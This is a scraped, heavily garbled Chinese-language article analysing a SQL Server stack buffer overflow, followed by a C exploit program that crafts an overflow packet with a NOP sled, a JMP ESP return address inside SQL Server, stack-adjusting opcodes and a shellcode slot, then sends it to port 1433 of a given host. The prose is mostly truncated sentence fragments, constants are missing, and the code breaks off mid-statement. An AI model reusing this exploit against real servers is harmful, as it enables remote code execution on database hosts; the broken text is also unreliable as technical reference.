這幾天開始用匯編看sql server的代碼
但是一看
下面是匯編代碼分析
前面接受信息的大致流程
請求
text:
調用ssnetlib的獲取異步socket到來的信息
處理數據
溢出產生在:
但是其中問題存在於
涉及到的需要繼續引用覆蓋地址值的代碼有
可以發現以上值主要是涉及到
要覆蓋地址
要覆蓋地址+
要覆蓋地址+
要覆蓋地址+C
要覆蓋地址+
要覆蓋地址+
這幾個地址上
並且要覆蓋地址
因此很容易想到
另外就是如果shellcode全部放在要覆蓋地址+
另外就是jmp esp代碼的選擇
我的環境是
下面是演示代碼
大家在cmd下運行sqlsvrer可以看到打印出的sql hack demo字符
#include
#include
#include
#include
#include
#include
int main(int argc
{
WSADATA WSAData;
SOCKET sock;
SOCKADDR_IN addr_in;
unsigned char buf
unsigned char buf
char exploit_code[
//這個是打印
int i;
int len;
const int SNDBUF =
const int TCPNODELAY = TRUE;
const int BROADCAST = TRUE;
int fo=
if (argc<2)
{
return FALSE;
}
for(i=0x34;i<584;i++)
buf0[i]=0x90;
//示范打印的字符串
buf0[0x34+0x10]=''s'';
buf0[0x34+0x11]=''q'';
buf0[0x34+0x12]=''l'';
buf0[0x34+0x13]='' '';
buf0[0x34+0x14]=''h'';
buf0[0x34+0x15]=''a'';
buf0[0x34+0x16]=''c'';
buf0[0x34+0x17]=''k'';
buf0[0x34+0x18]='' '';
buf0[0x34+0x19]=''d'';
buf0[0x34+0x1a]=''e'';
buf0[0x34+0x1b]=''m'';
buf0[0x34+0x1c]=''o'';
buf0[0x34+0x1d]=''\n'';
//防止數據改動引起異常而退出而無法實現有效溢出,因此進行有效修改
buf0[fo-0x8]=0xff;
buf0[fo-0x7]=0xff;
buf0[fo-0x6]=0xff;
buf0[fo-0x5]=0xff;
//42D01CFC 為SQL SERVER固定的數據區域,且其匯編代碼不引起問題
buf0[fo+4]=0xfc;
buf0[fo+5]=0x1c;
buf0[fo+6]=0xd0;
buf0[fo+7]=0x42;
//42d01c72 為固定的數據區域才能可寫
buf0[fo+8]=0x64;
buf0[fo+9]=0x0d;
buf0[fo+0xa]=0xd0;
buf0[fo+0xb]=0x42;
//42D01CFC 為固定的數據區域才能可寫
buf0[fo+0xc]=0xfc;
buf0[fo+0xd]=0x1c;
buf0[fo+0xe]=0xd0;
buf0[fo+0xf]=0x42;
//42d01c72 為固定的數據區域才能可寫
buf0[fo+0x10]=0x64;
buf0[fo+0x11]=0x0d;
buf0[fo+0x12]=0xd0;
buf0[fo+0x13]=0x42;
//42d01c72 為固定的數據區域才能可寫
buf0[fo+0x14]=0x64;
buf0[fo+0x15]=0x0d;
buf0[fo+0x16]=0xd0;
buf0[fo+0x17]=0x42;
//在溢出了返回地址後,由於其中的N個代碼需要返回後跳轉、而此處由在子函數中需要處理,因此尋找一個數據地址放入,同時使得其匯編代碼不引起訪問異常。tw.winGwit.COm
//然後下面的幾個地址是在此過程中不需要使用的,因此可以大膽修改成我們需要的匯編代碼了
//寫入跳回去的代碼buf0[fo+0xc]=0x42;
buf0[fo+0x18]=0x81;
//ADD ESP,0XFFFFFF92
buf0[fo+0x19]=0x83;
buf0[fo+0x1a]=0xc4;
buf0[fo+0x1b]=0x81;
//ADD ESP,0XFFFFFF92
buf0[fo+0x1C]=0x83;
buf0[fo+0x1D]=0xc4;
buf0[fo+0x1E]=0x81;
//ADD ESP,0XFFFFFF92
buf0[fo+0x1f]=0x83;
buf0[fo+0x20]=0xc4;
buf0[fo+0x21]=0x81;
//JMP ESP
buf0[fo+0x22]=0xff;
buf0[fo+0x23]=0xe4;
//以上代碼在溢出返回後執行,由於主要的shellcode防在前面,需要跳轉回去
//不直接放在後面的原因在於:覆蓋了後面的一些變量,會導致提前出現地址訪問異常,導致無法達到執行我們想要代碼的目的
memcpy(buf0+fo-8-364,exploit_code,21);
//拷貝SHELLCODE
//FFE4=JMP ESP
//設置溢出地址的值,42B0C9DC是SQL SERVER本身代碼有的FFE4地方
buf0[fo]=0xDC;
buf0[fo+1]=0xC9;
buf0[fo+2]=0xB0;
buf0[fo+3]=0x42;
//需要找到JMP ESP的代碼,然而這個是隨版本變化的,所以干脆在SQL SERVER程序中找,只要組合成這個就可
if (WSAStartup(MAKEWORD(2,0),&WSAData)!=0)
{
printf("WSAStartup error.Error:%d\n",WSAGetLastError());
return FALSE;
}
if ((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==INVALID_SOCKET)
{
printf("Socket failed.Error:%d\n",WSAGetLastError());
return FALSE;
}
addr_in.sin_family=AF_INET;
addr_in.sin_port=htons(1433);
addr_in.sin_addr.S_un.S_addr=inet_addr(argv[1]);
buf0[1]=1;
if(WSAConnect(sock,(struct sockaddr *)&addr_in,sizeof(addr_in),NULL,NULL,NULL,NULL)==SOCKET_ERROR)
{
printf("Connect failed.Error:%d",WSAGetLastError());
return FALSE;
}
if (send(sock, buf0, sizeof(buf0), 0)==SOCKET_ERROR)
{
printf("Send failed.Error:%d\n",WSAGetLastError());
return FALSE;
}
len=recv(so
From:http://tw.wingwit.com/Article/program/SQLServer/201311/22176.html